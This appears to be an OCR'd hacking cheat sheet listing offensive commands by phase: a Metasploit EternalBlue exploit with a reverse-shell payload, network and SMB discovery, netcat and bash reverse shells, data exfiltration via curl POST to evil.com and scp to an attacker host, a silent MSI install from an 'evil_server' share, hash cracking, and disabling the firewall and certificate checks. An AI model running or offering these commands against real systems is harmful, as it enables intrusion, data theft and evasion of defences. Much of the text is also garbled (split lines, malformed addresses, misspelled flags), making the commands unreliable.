Essential commands

Essential Hacking Commands

Advanced Penetration Testing Commands That Only **Hackers** Know

Exploit

```
msfconsole
/exploit/windows/smb/ms17_010_
_eternalblue
use exploit/multi/handler
set payload windows/meterpreter/
/reverse_tcp
run
```

Launch Metasploit console, use the EternalBlue exploit, and set up a reverse shell payload.

Discovery

```
nmap -p -A -T4 192.168.1.0.0/24
searchsploit iis 8
smbclient -L //192.168.1.5/ -U guest
```

Scan a network for open ports, search exploit-db, list SMB shares on a target system.

Data Exfiltration

```
nc -e /bin/sh 192.168.1.100 4444
scp hack.txt attacker@192.168.1.100/
/tmp:/tmp/
curl -X POST ~d @leaks.txt
http://evil.com/upload
```

Open reverse shell, upload file via SCP, exfiltrate data via HTTP POST request.

Privilege Escalation

```
· whoami
· whoami /priv
· winpeas.exe
· powershell -ep bypass -c <command>
· msiexec /quiet /qn /i \\evil_server\ev.msi
```

Check current user permissions, enumerate privileges with WinPEAS, gain a shell via malicious MSI file.

Password Cracking

```
hashcat -m 1000 hash.txt
/usr/share/wordlists/rockyou.txt
john /usr/share/wordlists/rockyou.tx
-format=NT hash.txt
```

Crack Windows NT hashes with Hashcat and John using the popular RockYou wordlist.

Defense Evasion

```
· netsh advfirewall set allprofiles state
· powershell -ep bypass ~w hiddden
~c <csript>
· [System.Net.ServicePointManager]:
ServerCertificateValidationcalll.=
```

Disable Windows firewall, execute hidden PowerShell script, disable SSL cert verification.

Advanced Linux Commands

```
spawn shell using a file descriptor: python -c "import pty; pty.spawn("/bin/bash")
scan for SUID binaries: find / -perm -4000 2>/dev/null
perform a reverse shelt; bash -1 & > /dev/ttp/192.168.1.100/5555.0~&1    0~&.1
look for world-writable directories: find / -type d -perm -0002 2>/dev/null
```